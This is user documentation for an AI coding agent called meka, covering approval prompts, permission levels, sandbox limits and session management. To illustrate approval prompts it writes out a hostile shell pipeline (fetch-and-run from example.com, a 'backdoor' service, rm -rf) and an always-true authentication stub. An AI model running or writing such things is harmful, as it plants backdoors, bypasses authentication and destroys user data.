Allow? (Y/n/always/never)
It is off by default. Turn it on for a session with /approvals on in the REPL, approvals on
POST /v1/sessions or PATCH /v1/sessions/{id} over HTTP, or the approvals config option in an
ACP client; set approvals = true under [permissions] to start every new session with it on. Like
the level, it is recorded on the session and comes back on a resume.
An approved call still runs at the session’s level. Approval turns a refusal into a question; it
does not widen reach. An approved write_file at read lands only under the workspace roots, and
an approved execute_command at read runs in the read-only sandbox. To let an approved call reach
further, raise the level. At unrestricted nothing sits above the level, so nothing is ever asked.
A call the level refuses however you answer is refused without a prompt: a write outside the
workspace roots, or execute_command below unrestricted when nothing can sandbox it.
none with approvals on is the most cautious shape: every tool call is put to you, and nothing runs
unattended. Sub-agents share their parent’s switch, and their prompts are forwarded to the parent’s
frontend.
Press Enter or y to approve, or n to deny. If denied, the agent receives an error and may try an alternative approach.
always approves this call and every later call to the same tool for the rest of the session
without asking; never denies them the same way. Both are keyed on the tool, not on the arguments:
always at an execute_command prompt approves every shell command the agent runs afterwards, so
use it for the tools you trust wholesale and keep answering y for the rest. A new session starts
with nothing remembered, and /fork moves you into a new session, so the answers stay with the one
you branched from. The same two answers are ACP’s Always allow / Always deny options and the
HTTP API’s allow_always / deny_always outcomes.
Only y, yes, n, no, always, never (any case) and a bare Enter mean anything. Anything
else is not an answer, so meka says Answer y, n, always or never. and asks again rather
than guessing; after three unanswered attempts it denies. Ending the input (Ctrl+D, or a redirected
stdin running out) also denies, since nobody is there to approve.
Where nobody can be asked at all (a --oneshot run, or meka serve answering a turn with no
stream to put the prompt on), a call that needs approval is denied and a warning names the tool
that was refused without asking: on stderr in the REPL and one-shot paths, in notices on the JSON
surfaces. Without it a run whose every gated call was refused reads as a model that chose not to
use its tools.
Ctrl+C at the prompt cancels the turn and withdraws the approval; meka says so, and the prompt line stays until the next Enter, which clears it rather than answering it.
This is useful when you want the agent to be able to try things but want to review each action that goes beyond the level before it executes.
What the prompt shows
Every argument the tool was called with, not just the one the [tool ...] indicator picks out.
That distinction matters: the indicator’s argument is the destination for every write-shaped tool,
so a prompt built from it would ask you to authorize writing to a path without showing the content,
or editing a file without showing the edit.
[approval] write_file
path: src/auth.rs
content:
pub fn verify(token: &str) -> bool {
true
}
Allow? (Y/n/always/never)
A long value wraps rather than being cut, so the end of a shell pipeline cannot be hidden from the line you are approving.
Where something has to be left out, the end is kept. A value too long to wrap in full shows its beginning, a count of what was dropped, and then its final row:
[approval] execute_command
command:
curl -s https://example.com/setup.sh | sh -c 'cat >> ~/.bashrc &&
... 85688 more characters ...
systemctl enable backdoor && rm -rf /important'
Allow? (Y/n/always/never)
That matters more here than anywhere else in meka. A shell pipeline puts its consequence last, so a prompt that fills its rows from the top and stops hides the exact part you are being asked about.
The limits: 20 lines and 60 rows per argument, and 100 rows of block before further arguments are dropped and named: 161 rows at the very worst. Those sit an order of magnitude above anything a real tool call carries; they are there so a call with two hundred invented arguments cannot scroll the real one off the top of your screen without saying so.
Whenever a marker appears, denying costs nothing: say no, inspect the file or the session with
meka session export, and let the agent retry.
This is deliberately unaffected by display.tool_params,
which controls the passive indicator. Turning that off for a quieter scrollback does not make your
approval prompts show less.
One consequence worth knowing: if the model passes a secret as a tool argument, an approval prompt puts it on screen. That is the correct trade at the moment you are authorizing the call, but it does mean such a value lands in your scrollback.
How permissions work
When the agent attempts to use a tool, meka checks whether the current permission level allows it:
- If allowed, the tool executes normally.
- If not, and approvals are on, you are prompted to approve or deny.
- If not, and approvals are off, meka returns an error message to the agent explaining which level is required and suggests asking you to raise it.
Telling the agent the current level
meka lists every registered tool in the per-turn <context> block with its required permission level inline (nothing is filtered out), and the same block carries a compact [Permission context] section:
<context>
[Permission context]
Current permission level: read
Only read-only tools are executable.
[Environment context]
Working directory: /home/you/project
[Available tools]
- **read_file** (requires `read`)
- **write_file** (requires `workspace`)
...
</context>
That two-line permission section is almost the only permission-dependent content in the request; [Environment context] is the other, since it is empty at none and gains a writable-roots block at workspace. The system prompt and the tools-array schemas stay byte-identical across /permission toggles, so mid-session level changes don’t invalidate the Claude prompt cache; the entire conversation stays warm.
The same reasoning is why the tool catalog itself lives here rather than in the system prompt. Prompt caching is prefix-based, and the system prompt heads that prefix, so anything cached there that later changes (an MCP server connecting late or hot-swapping its tools, a skill being installed) would re-cache the entire conversation behind it. The <context> block rides inside your own message instead, so changes are appended rather than rewritten.
Only what actually changed is re-sent. The first turn of a session carries the full catalog, skill list, and any MCP server instructions; a turn where nothing moved carries none of it, and a turn where something moved carries a short note naming just that change.
MCP tool permissions
MCP tools are classified through a 5-step resolution chain: per-tool override → server-level override → the server’s own readOnlyHint → [mcp].default_permission → a hardcoded unrestricted fallback. See the Permission resolution section of the Config file docs for the full rules and how to override a misclassified tool.
Built-in tool permissions
Any built-in tool’s required permission can be overridden from config.toml without editing code; see [tools]: built-in tool filters. The same section documents how to allow-list or block-list specific built-ins (e.g. disabling fetch_url in a locked-down environment).
Sub-agent permissions
Sub-agents spawned via agent_spawn inherit the parent’s permission level by default. At unrestricted the sub-agent can call write_file, edit_file, and unsandboxed execute_command; at read it’s confined to read-only tools. To run one delegated task with reduced privileges, pass the permission parameter (e.g. agent_spawn({prompt: "...", permission: "read"})): it is clamped to the parent’s level as a ceiling, so a sub-agent can only ever be equal-or-more restricted, never escalated. To narrow where it may write rather than whether, pass writable_roots. A sub-agent shares its parent’s approvals switch, and its prompts reach the parent’s frontend. Alternatively, cycle the parent into a lower level before issuing the spawning prompt to restrict every sub-agent it spawns.
Examples
Read (the default)
meka ~/project [r] > read the contents of main.rs
The agent uses read_file and shows the contents. Shell commands also work at read, but run in a read-only sandbox; the filesystem is write-protected for the child process:
meka ~/project [r] > list the files in this directory
meka ~/project [r] > show me the git log
Commands like ls, cat, git log, df, ps, and uname work normally. Commands that attempt to write to the filesystem (e.g. touch, rm, mkdir) fail with a permission error.
Two things the sandbox deliberately does not restrict, on every backend:
- Reads. A sandboxed command can read anything your user can, including
~/.ssh,~/.aws/credentialsand meka’s own store.readprotects the machine from being changed, not from being read. - The network. Outbound connections are left open, so a command at
readcan still send what it read. Provider API keys are scrubbed from the child’s environment, but that is one vector, not a boundary.
On Windows, workspace extends that first point to meka’s own process. Its WRITE_RESTRICTED token restricts writes only, and unlike read it deliberately leaves the integrity label at the parent’s level, so a confined command can open meka with PROCESS_VM_READ and read its memory. Measured on Windows 11: OpenProcess succeeds and ReadProcessMemory returns data. This is the one respect in which workspace confines less than read, whose Low-integrity token Windows blocks from opening a medium-integrity process at all. It grants nothing that reading meka.db would not, which a command at either level can already do, but it is worth knowing if you were treating workspace as strictly wider than read in every direction. They are not ordered that way; see the ladder note above.
If no sandbox backend is usable, shell commands at read fail rather than running unconfined. On Linux that means Bubblewrap (preferred whenever bwrap is installed) or Landlock at ABI v3 or newer. Landlock below v3 does not mediate truncate(2), so a “read-only” command could still empty an existing file, and meka refuses it rather than promise a protection the kernel is not enforcing. Kernels 5.13–6.1 therefore need bwrap installed for the shell at read; meka says so at startup.
If you ask the agent to modify a file:
meka ~/project [r] > add a comment to the top of main.rs
The agent will explain that it cannot write files at read and suggest switching to workspace.
What read still writes
read means the agent cannot modify your tree. It can still write to stores meka owns, because otherwise an agent at read permission could never remember anything:
| Store | Location | Tools |
|---|---|---|
| Memory | the memories table in MEKA_DATA_DIR | memory_write, memory_delete |
| Skills | ~/.config/meka/skills/ | skill_write, skill_delete (only with [skills] agent_managed) |
| Scratchpad, todos, scheduled jobs, background tasks | the store | various |
Of those, only the skill tools reach the filesystem at all; memory is a table in the store. Note what that makes skill_write at read: a persistence primitive. A skill it writes is read back into every later session’s prompt, so a prompt-injected instruction can outlive the turn that carried it. That is the reason [skills] agent_managed is off by default and the tool is never given to a sub-agent. That boundary is enforced in two places: a skill name must be one path component matching the Agent Skills spec’s own rule (lowercase letters, digits and hyphens), so it cannot contain .. or a path separator, and a symlink sitting at that name is refused rather than followed, so an existing link cannot redirect a write out of the skills directory. Memory names are governed by a different and wider rule ([A-Za-z0-9_-]), which is safe for a different reason: a memory name is a primary key in a table, never a path. write_file, edit_file and scratchpad_save_file are the only built-ins that touch your tree, and all three require workspace or above, and are fenced to the workspace roots at that level.
A root you asked for is not always a root you get. --writable-root drops a path three ways, each with a warning: one that is not a directory, one naming a system directory the sandbox masks (/, /proc, /dev, /sys, /run, /tmp, /var/tmp, $XDG_RUNTIME_DIR), and one that does not resolve at startup; the last is kept rather than refused, so a build directory becomes a root the moment it exists. See CLI options.
MCP tools are the exception
Tools from MCP servers are not built-ins and are not covered by that boundary. They execute inside the server’s own process, which meka does not sandbox, so what an MCP tool may do is bounded by the server, not by meka’s permission level.
What decides whether such a tool is reachable at read is the permission meka resolves for it, and by default a server’s own readOnlyHint: true annotation is enough to classify it as read. That hint is asserted by the server and not verified. A server that advertises it for a tool that in fact writes therefore gets to write your tree while meka sits at read.
For a server you have not audited, either pin its tools explicitly with tool_permissions or set trust_read_only_hint = false on it, which makes the hint advisory for display only and drops its tools to the strict unrestricted fallback, past [mcp].default_permission.
So the honest statement of read’s filesystem guarantee is: your tree is safe from meka’s built-in tools, plus whichever MCP servers you have chosen to trust.
Note: The read-only sandbox uses Bubblewrap or Landlock (ABI v3+, kernel 6.2+) on Linux,
sandbox-execon macOS, and a Low-integrity token on Windows. See Shell for what each backend covers. Where no backend is usable, shell commands are not available atreadorworkspace. You can disable sandboxed shell execution by settingsandbox = falseunder[shell]in the config file (see Config file), which makesexecute_commandrequireunrestrictedinstead.
Workspace
meka ~/project [w] > run cargo test and show me the output
The agent uses execute_command to run the tests and shows the results.
Sessions
Sessions persist your conversation so you can resume later. Each session has an id and lives in the store, a SQLite file.
How sessions work
- A session is not created when meka starts. It is created lazily when you send the first message.
- Its id is printed to stderr when it is created, resumed and left, so you can note it for later. Each banner has a switch under
[display]; the creation banner is off by default. - Sessions include the full conversation: your inputs, the agent’s responses, and tool call results.
Resuming a session
Continue the last session
meka -c
This resumes the most recently updated session. -c takes no value; give an opening prompt with -p: meka -c -p "and now add tests".
By id
meka -r 550e8400-e29b-41d4-a716-446655440000
The agent loads the previous conversation and continues from where you left off.
By id prefix
If the value passed to -r isn’t a whole id, meka treats it as a leading prefix and looks up sessions whose id starts with it. This avoids having to copy the entire id:
meka -r 550e # works if exactly one session starts with `550e`
meka -r 5 # likely ambiguous; meka lists matching ids and exits
When a prefix matches multiple sessions, meka prints the matching ids (most-recent first) so you can disambiguate. Type a few more characters until the prefix is unique.
What a resume restores
A session records what it runs on, and a resume brings all of it back:
- The profile. A session started with
--profile openairesumes onopenai, whateverdefault_profilesays. This matters beyond the surprise: a thinking block is tagged with the backend that produced it and is not replayed to a different one, so resuming on another profile could silently discard the reasoning the conversation recorded, and a different account would be billed. - The permission level, and the approvals switch. A session created at
unrestrictedresumes there without the flag, and one that had/approvals oncomes back asking.
Everything the profile and its account state comes with it: the model, the endpoint, the context
window the gauge and auto-compaction measure against, and whether images may be attached. A session
records the profile’s name, not a copy of its settings, so editing the profile with
meka profile set moves every session on it.
Two sessions on one meka serve can sit on profiles with different windows and each is measured
against its own.
Naming --profile on a resume repins the session: the row is rewritten, so it keeps that
profile from then on rather than for one run. --permission repins the same way.
You can also change the profile mid-session: /profile <name> in the REPL,
PATCH /v1/sessions/{id} with {"profile": "..."} over HTTP, or the Profile picker in an ACP
client. Each rewrites the row.
That PATCH is also how you rescue a session over HTTP when its profile has left config.toml: a
body naming only a profile moves the row without building an agent for it, so it works on a session
that cannot currently run. From the CLI the equivalent is meka -r <id> --profile <name>.
Switching profile mid-conversation is allowed and is your call. From the next turn the model no longer sees the reasoning recorded under the old profile, for the reason above.
What a resume does not restore
--writable-root is not restored, because it belongs to the process rather than the session; pass
it again. See permissions for why recording it would be wrong.
A resumed session opens in the directory it recorded, not the one your shell is in. meka -c from anywhere reopens the session where it was working, and /cd is the only thing that moves it. This is deliberate: at workspace the working directory is the writable boundary, so adopting the shell’s would silently widen it: resume a project session from $HOME and the whole home directory becomes writable, with a scheduled job able to fire before you could react. If the recorded directory has since been removed, meka warns and opens where you are. To get back to your shell’s directory, run /cd with no argument.
A resume restores the conversation, not the world it ran in. The messages come back verbatim, which means the agent reads its own earlier tool calls and can reasonably assume their effects still hold. Two kinds of state do not survive the process that made them:
- Which files have been read. meka tracks reads in memory so
edit_filecan refuse to write over a file the agent has not seen. A new process starts with that record empty, so the first edit to any file asks for aread_filefirst. - Anything an MCP server was holding. A loaded database, an authenticated session, a subscription: these belong to the server’s process, not to the conversation, and a reconnect drops them. meka has no way to model what a given server keeps open.
Everything else is restated in the per-turn context on every turn regardless (permission level, working directory, todo list, tool catalog), and background tasks that were running deliver an interrupted outcome, so none of those can go stale unnoticed.
Because the second kind is unknowable from meka’s side, the first turn after a resume carries a [Session resumed] note telling the agent to re-establish rather than assume. It appears once and is not repeated. There is nothing to configure.
Session locking
Only one meka instance can be attached to a session at a time. This prevents race conditions from concurrent writes.
- The lock is taken the moment the session row exists, which for a brand-new session is at the start of its first turn rather than the end. A second invocation launched while that turn is still running is refused like any other.
- If you try to resume a session that is locked by a running meka process, you will get an error.
- If the locking process has exited (crashed or was killed), meka detects this and allows you to take over the lock.
- Under ACP (
meka acp), the lock is released as soon as the editor disconnects: closing the connection (stdin EOF) or sending SIGTERM/Ctrl-C makesmeka acpexit, so the session can be reopened immediately.
Storage location
Sessions live in the store, a SQLite file at a platform-specific location:
| Platform | Path |
|---|---|
| Linux | ~/.local/share/meka/meka.db ($XDG_DATA_HOME/meka/meka.db) |
| macOS | ~/Library/Application Support/meka/meka.db |
| Windows | %APPDATA%\meka\meka.db |
What else is in that directory
meka.db-wal and meka.db-shm are SQLite’s own companions to the open store, not backups. The
locks/ subdirectory holds the lock files meka uses to keep two processes off one session and off
one schema change; it is empty of anything worth reading.
You may also find one meka.db.v<version>.bak. meka copies the store aside before it changes the
schema, and keeps exactly one such copy: the next schema-changing upgrade takes a fresh one and
removes the one before it, so the copies do not accumulate. Expect the data directory to settle at
roughly twice the size of the store, and to peak higher than that during an upgrade, since the new
copy is written before the old one goes.
To restore one, stop every meka process and copy it over meka.db. It records the schema version it
was taken at, so the next start brings it forward again rather than mistaking it for a current store.
Because only the newest is kept, restoring undoes the most recent schema-changing upgrade and
nothing before it; move a copy of your own aside if you want to go back further.
An interrupted upgrade can leave a meka.db.v<version>.bak.partial behind. That is a copy that never
finished, so it is not restorable and nothing removes it; delete it whenever you like.
Anything else you put in this directory is yours and meka leaves it alone, including a file whose name merely resembles the above.
Store schema
The three tables below are the conversation itself. The store holds seven more, which the
features that own them document: scheduled_jobs (scheduling), background_tasks
(background work), memories and its memories_fts full-text index
(memory), prompt_history (the REPL’s
input history), and account_credentials and
mcp_credentials (secrets, never in config.toml).
sessions, one row per session:
| Column | Type | Description |
|---|---|---|
id | TEXT (UUID) | Primary key |
created_at | TEXT (RFC 3339) | When the session was created |
updated_at | TEXT (RFC 3339) | When the session was last updated |
parent_session_id | TEXT (UUID) | The session that spawned this sub-agent, or NULL |
cwd | TEXT | Working directory the session is in; moved only by /cd, ACP, or PATCH |
permission | TEXT | Permission level a re-attached session resumes with, and the level a scheduled gate is re-checked against |
approvals | INTEGER | Whether calls above the level are put to the user for approval |
capabilities_json | TEXT | Per-session capability flags, for HTTP re-attach |
token_id | TEXT | Bearer token that created the session, for HTTP |
additional_roots_json | TEXT | Workspace roots beyond cwd |
subagent_spec_json | TEXT | The terms a sub-agent was spawned under |
turns, input_tokens, output_tokens, cache_creation_input_tokens, cache_read_input_tokens, redactions, redacted_images, redacted_bytes | INTEGER | The cumulative counters behind /status |
profile | TEXT | Profile the session runs on. Never NULL, though a row carried forward from a store that predates the column can hold '' |
context_tokens | INTEGER | Context occupancy the provider last reported, which a resume checks its first turn against; NULL until a turn records one, and after a rewind |
blobs and message_blobs: image bytes by SHA-256 content hash, and which message rows
reference them. A message row holds a reference in place of the bytes, so a screenshot read twice is
stored once, and deleting a session removes the blobs nothing else references. An export carries the
bytes its sessions reference, and GET /v1/sessions/{id}/blobs/{hash} serves them over HTTP.
Locks are OS file locks under the data directory, not a column: a row cannot record a crashed process’s PID and lock a session forever.
messages, one row per message in a session:
| Column | Type | Description |
|---|---|---|
id | INTEGER | Auto-incrementing primary key |
session_id | TEXT (UUID) | Foreign key to sessions.id |
kind | TEXT | user_blocks (a turn: its turn_context and text blocks and any images), user (a plain text message meka wrote), assistant, tool_results, compact_boundary, repair, or redact |
content | TEXT | Message content (plain text or JSON) |
created_at | TEXT (RFC 3339) | When the message was saved |
scratchpad_entries, one row per entry:
| Column | Type | Description |
|---|---|---|
session_id | TEXT (UUID) | Part of composite primary key |
name | TEXT | Part of composite primary key |
content | TEXT | The stored content |
created_at | TEXT (RFC 3339) | When the entry was created |
Scratchpad entries are scoped to a session. Two sessions can have entries with the same name. Entries are preserved across compaction but deleted when a session is deleted.
History retention
meka never deletes sessions unless you ask it to. Conversation history isn’t reproducible, so there is no default cleanup by age and none at all by size.
If you do want a time window, set it explicitly:
[session]
retention = "30d" # delete sessions not updated in 30 days, at startup
With that set, meka deletes matching sessions when the agent starts and says so at warn level, so a deletion you configured is still a deletion you see. A session another meka process has open is spared, and so is the one you are resuming with -c or -r, however old it is. Unset (the default) keeps everything forever.
To prune on demand instead, delete on your own schedule:
meka session delete --older-than-days 90 # same window, run when you choose
meka session delete <id> [<id>…] # specific sessions
meka session delete --all # everything
Deleting a session also removes its messages, scratchpad entries, and any sub-agent children.
A session is locked from the moment it exists: the lock is taken before the row is written, so a sweep in another terminal cannot catch it in between. That holds for new sessions, for sub-agent sessions, for forks made from any surface, and for the root of an imported archive while it is written. Copying a conversation holds it still too: every fork door (meka session fork, /fork, POST /v1/sessions/{id}/fork, ACP session/fork) and meka session export refuse a session another process has open, because a copy taken mid-turn ends on a user message the model never answered and restores as an unusable session. meka session rewind has always done this.
No deletion touches a session another meka process has open. Naming one by id fails and says so; --all, --older-than-days and the startup sweep skip it and report how many they left behind. This matters most for the startup sweep, because only turns bump a session’s timestamp (resuming does not), so a REPL left at its prompt past the window looks expired while somebody is sitting in front of it.
See Config file for details.
Context management
Every request carries the whole conversation as it stands, tool calls and their results included. Nothing is dropped by count: the context ceiling and compaction are the only bound. Once the occupancy the provider last reported passes context_ceiling_percent of the profile’s context_window (90% by default), auto-compaction summarizes the older turns and keeps the recent ones verbatim, between turns and between the tool rounds of one turn. See [session] for the switch and the percent.
The full history stays in the store either way. After a compaction a request carries the summary and the kept tail, and the tool catalog, skill list and MCP server instructions are restated in full on the next turn.
With auto_compact = false the conversation grows until the provider rejects a request for exceeding its window, which fails that turn; /compact summarizes on demand.
Compacting a session
When a session becomes too long, /compact replaces the older turns with a summary and keeps a token-budgeted tail of the most recent messages verbatim (snapped to a clean user-turn boundary so tool calls aren’t split).
By default the summary is written by the agent itself, in a checkpoint turn that runs before anything is discarded. The agent gets its real system prompt, its memory index, the full conversation, and a small set of tools, and is told its context is about to be replaced. It saves whatever must outlive the window (memory_write for facts and decisions that should still be true in a future session, the scratchpad for working material), then calls context_replace with the summary.
This matters because compaction is the one moment information is destroyed, and before this it was also the one moment the agent could not act. The alternative, a separate summarizer call, knows nothing about who the agent is or what it is for.
A checkpoint can save, but not act. It reaches the memory, scratchpad, todo, conversation-history and read-only search tools, and nothing else: no shell, no file writes, no sub-agents, no scheduling, no MCP. The delete tools are excluded too, since deleting is not saving and a mistaken delete in an unattended checkpoint is unrecoverable. A tool disabled in [tools] stays disabled here.
You can say what to keep:
/compact keep the auth refactor decisions, drop the debugging
The confirmation reports what was written, because memories are durable and instance-scoped:
Session compacted. Wrote 2 memories: deploy-pipeline-quirks, api-rate-limits.
Note that an automatic compaction runs a checkpoint too, unattended, and can write memory without anyone watching.
Compaction preserves scratchpad entries and the todo list, and re-injects environment context so the agent isn’t disoriented afterwards. The tool catalog, skill list, and MCP server instructions are restated in full on the next turn, since the messages that carried them may have been summarized away. Tools loaded via load_tool stay loaded; the deferred-tool active set is snapshotted into the compaction boundary. If a detail was dropped, the model can conversation_search / conversation_read the full pre-compaction history, which stays on disk.
Internally, compaction does not delete pre-compaction rows from the store. It appends a compact_boundary row to the messages table; the materialized view is reconstructed from the event log, so the persisted log itself stays append-only. A resume reads that log from its last compact_boundary row: nothing before it can reach the view, so opening a session costs the same however long its history is. conversation_search, conversation_read, GET /messages, a rewind and an export still read the whole log.
When the summarizer runs instead
A standalone summarizer, with no tools and none of the agent’s identity, is the fallback. It runs when:
- The compaction is an emergency one, i.e. the provider has already rejected the request for exceeding the window. A checkpoint turn re-sends that same conversation, so it would be refused identically; the summarizer strips images and truncates long blocks, which is what lets it get through.
- The checkpoint turn fails or produces nothing usable.
compact_checkpointis off.
There is one rung in between: if the checkpoint turn ends without calling context_replace but did write a summary in prose, that text is used. tool_choice isn’t available across meka’s backends, so the call can’t be forced.
[session]
compact_checkpoint = true # default
Turning it off leaves the standalone summarizer to write every summary, which saves one model call per compaction at the cost of the agent having no say in what survives.
Auto-compact
When auto_compact is enabled (default: true), meka automatically compacts the conversation once it is past context_ceiling_percent of the context window (default: 90%). The check runs at three points. At the start of a turn it reads the last reported usage, which a resumed session takes from its row, so the first turn after a resume is checked against the real number. Before the first request it projects the request from an estimate, so a turn whose own input jumps over the ceiling is compacted before it is sent. And after every round of tool results inside a turn it reads that round’s reported usage, so a long tool loop overshoots the line by one round rather than by the whole loop; the turn’s most recent rounds are kept verbatim within the budget, its earlier ones are summarized with the history, the request the turn is answering is quoted after the summary as the user wrote it, and one crossing is answered once, until a later measurement reads under the line again. As a last resort, if the provider still rejects a request for exceeding the context window, meka compacts once and retries the turn instead of failing.
[session]
auto_compact = true
context_ceiling_percent = 90 # default
context_window = 200000 # optional override
Agent-initiated compaction
The agent doesn’t have to wait for the ceiling. context_compact asks for a compaction before the agent’s next step: it runs once the current batch of tool calls finishes, and the turn then carries on against the summary. With the default keep_recent, the tail keeps the most recent rounds within the verbatim budget, cut at a call so no call is parted from its result, and everything before that, the history and the current turn’s earlier rounds alike, goes into the summary; the request the turn is answering is quoted after the summary as the user wrote it, so the turn continues against the user’s words rather than a paraphrase. One compaction per turn: a further request once the first has run is ignored, and the agent can ask again on a later turn.
context_compact(instructions: "the day's work is in memory now", keep_recent: false)
keep_recent: false skips the verbatim tail entirely, so the summary is all that remains. That is the difference between compacting and turning the page, and it’s what makes a “start of a new day” routine work: a scheduled job at midnight can write the day’s diary to memory, then compact clean, instead of carrying yesterday’s context forward indefinitely.
The request is parked rather than applied where it is made: a tool cannot rewrite the conversation the agent loop is holding. It is drained at the next boundary between rounds, once the batch’s tool results are in, which is what lets the rest of the turn run against the summary.
What the agent sees
Once a turn has been measured, the per-turn context block carries a [Context budget] line reporting occupancy and the ceiling compaction fires past:
[Context budget]
Using ~84k of 200k tokens (42%). The conversation is summarized automatically past
90%, between turns or between two of your tool rounds, which loses detail; your most
recent rounds are kept verbatim. Prefer to finish or checkpoint work before then.
The agent is expected to budget its own reading and to decide when a task will fit, so it needs the same number the harness uses. Without it, those are guesses. The line is suppressed when the window is unknown, and on the first turn of a session, when there is no measurement yet rather than a genuine zero.
It rides the per-turn context block rather than the system prompt because it changes every turn and the system prompt is the cached prefix.
From the second compaction onward the line also reports how many have happened, since a summary of a summary has lost considerably more than a first pass:
This conversation has been summarized 3 times, so early detail is now several
removes from what was said; write anything that must last to memory rather than
relying on it surviving another pass.
Because that block is rendered once per turn, it does not move while the agent works. During a long tool loop, which is exactly when context moves fastest, it is stale. context_check reports the live figures on demand: occupancy, headroom in tokens, the fixed overhead compaction cannot reclaim, how much of the recent conversation would survive verbatim, and the compaction count. Refreshing the pushed block instead would rewrite a message the provider’s prompt cache already covers, invalidating it on every iteration; a tool result appends at the tail and is cache-safe.
Listing sessions
To see past sessions:
meka session list
This shows a table with each session’s id, last update time (local, with its UTC offset), profile, and its title, the words of the first message:
ID Updated Profile Title
550e8400 2026-03-14 12:00 +00:00 work How do I implement a binary search tree?
a1b2c3d4 2026-03-13 09:30 +00:00 personal Fix the login page CSS
The ID column shows as much of each id as distinguishes it from the others on screen, widening only
if two would otherwise read the same. Every command that takes a session id (meka -r, export,
show, fork, rewind, delete) accepts any unique prefix, so what you see is normally what
you retype. An ambiguous prefix is refused and every match listed, rather than acted on.
Uniqueness is computed over the rows on screen, while the commands resolve against every session
in the store. A listing narrowed by -n, or one hiding sub-agent sessions (they are hidden unless
--include-children is given), can therefore print a prefix that a wider set makes ambiguous. That
fails closed: the command refuses and names both ids, so nothing is acted on and the full id is one
copy away.
For the whole id, and the working directory and permission the table has no room for:
meka session show 550e8400
By default the 20 most recent sessions are shown. Use -n to change:
meka session list -n 50
Sub-agent transcripts are hidden by default, so the listing stays the conversations you started. Add
--include-children to see them too:
meka session list --include-children
The Profile column names the profile, which is the whole story: a session records a profile name
and nothing else, so the model and endpoint it runs on are whatever that profile and its account
currently say. meka profile list shows them.
Both commands take --format json. The listing becomes {"sessions": [...]} and show one object,
each session carrying id, created_at, updated_at, profile, title, approvals, and, when
the row records them, cwd, permission, capabilities and parent_id: the fields
GET /v1/sessions returns under the same names, less the two only a running host
can answer (turn_in_flight, last_turn_at). Ids are printed in full, and an empty store is
{"sessions": []}.
meka session list --format json | jq -r '.sessions[] | "\(.id) \(.profile)"'
meka session show 550e8400 --format json | jq .cwd
Exporting a session
You can export any session as a Markdown file:
meka session export 550e8400-e29b-41d4-a716-446655440000
This writes session-550e8400-e29b-41d4-a716-446655440000.md in the current directory with the full conversation. User and assistant messages are rendered as Markdown sections, while tool calls and results are wrapped in collapsible <details> blocks. The export always covers the entire session, including turns that were later hidden from the model by compaction (each compaction point is marked with its summary).
To write to a specific file:
meka session export 550e8400-e29b-41d4-a716-446655440000 -o conversation.md
To print to stdout (for piping):
meka session export 550e8400-e29b-41d4-a716-446655440000 -o -
JSON (structured, round-trippable)
Pass --format json for a structured export instead of rendered Markdown:
meka session export 550e8400-e29b-41d4-a716-446655440000 --format json
This writes session-<id>.json, a lossless dump of the session’s event log (including input images and compaction boundaries), its cumulative stats, and scratchpad entries. The archive carries format_version: 2, and an import refuses any other version rather than guessing at its shape. Unlike Markdown, a JSON export also includes any sub-agent child sessions spawned during the conversation, and it can be re-imported with meka session import. It deliberately contains no credentials: API keys and OAuth tokens live in separate tables and are never part of an export.
Importing a session
Recreate a session from a JSON export:
meka session import session-550e8400-e29b-41d4-a716-446655440000.json
meka assigns the imported session (and any sub-agent children) new ids so they can’t collide with existing sessions, then prints the new root session id. Resume it like any other session:
meka -r <new-id>
Read from stdin with -:
cat session.json | meka session import -
The import preserves the full conversation, per-message timestamps, cumulative stats, scratchpad entries, and the name of the profile the session ran on. That name is all an archive carries about the profile: the settings themselves come from whatever [profiles.<name>] and its account say on the installation importing it. An archive naming a profile this installation does not configure, on its root or on a sub-agent spawned with one, is refused rather than restored as a session every resume would refuse; meka --profile <name> session import moves every session in the archive onto a configured profile instead, the same explicit act that moves a session on resume. An archive that names no profile adopts this installation’s default; if nothing can supply one, because no default_profile is set and several profiles are configured, the import is refused: name one with meka --profile <name> session import. An archive whose messages reference an image it does not carry and this store does not hold is refused as malformed before anything is written.
updated_at is stamped to the import time rather than restored from the export, so that restoring an archive older than a configured retention window isn’t undone by the retention sweep on the next launch. created_at still carries the original.
Forking a session
Branch off an existing conversation without disturbing it:
meka session fork 550e8400-e29b-41d4-a716-446655440000
The copy starts with the original’s full conversation and continues from there under a new id, which is printed on stdout so it can be captured:
meka -r "$(meka session fork 550e8400-e29b-41d4-a716-446655440000)"
Use it to try a different direction from a known-good point, to run a throwaway question against a large accumulated context, or to keep a conversation you’re about to compact.
What the copy carries: the full event log, scratchpad entries, working directory, permission level and approvals switch, additional workspace roots, and cumulative stats. What it does not: sub-agent sessions (the sub-agent’s result already sits in the parent conversation as a tool result, so the copy is complete without them), and the timestamps, which are stamped fresh.
A fork of an ordinary session records no link back to the one it came from; it is a root session
like any other. A fork of a sub-agent is the exception: it keeps that sub-agent’s parent and
spawn terms, so the copy is a sibling under the same parent rather than a promotion to a session of
its own, and it is continued through agent_followup like any other sub-agent.
Forking copies what has been committed to the store, and only between turns. A session another meka process has open is refused rather than copied (see Session locking), and so is one with a turn in flight in the process that holds it: POST /v1/sessions/{id}/fork answers 409 turn-in-flight and ACP session/fork answers InvalidParams. The user message is persisted before the model is called, so a copy taken mid-turn would end on a prompt with no reply and restore as an unusable session. Cancel the turn or wait for it.
The same operation is available from the REPL as /fork, which switches you into the copy and leaves the original where you branched (an always or never given at an approval prompt stays with the original; see Permissions); over HTTP as POST /v1/sessions/{id}/fork; and over ACP as session/fork.
Fork or export/import?
Both produce a runnable copy under a new id. Reach for fork to branch a conversation you’re working on, and for export + import to move a session between machines or keep an archive. Export/import also copies sub-agent transcripts and preserves created_at, because an archive should restore whole.
Rewinding a session
Drop the most recent turns from a session:
meka session rewind 550e8400-e29b-41d4-a716-446655440000
meka session rewind 550e8400-e29b-41d4-a716-446655440000 -n 3
The cut lands on a turn boundary, so a tool call is never separated from its result, and a compaction summary counts as a turn, so a rewind that reaches it removes the summary too. Nothing is deleted: the dropped turns stay in the event log and still appear in meka session export, marked at the point of the rewind. The model simply stops seeing them.
The command takes the session lock, so it refuses to run while a REPL, meka serve, or meka acp holds the session; that process has its own copy of the conversation in memory and would write over the rewind on its next turn. In the REPL use /rewind instead. Under ACP or the HTTP API there is no in-session equivalent, so close the session in the editor (or stop the server) and run this command.
Its main use is recovering a session a provider has started rejecting. A provider validates the whole conversation on every request, so one piece of content it rejects fails every later turn too.
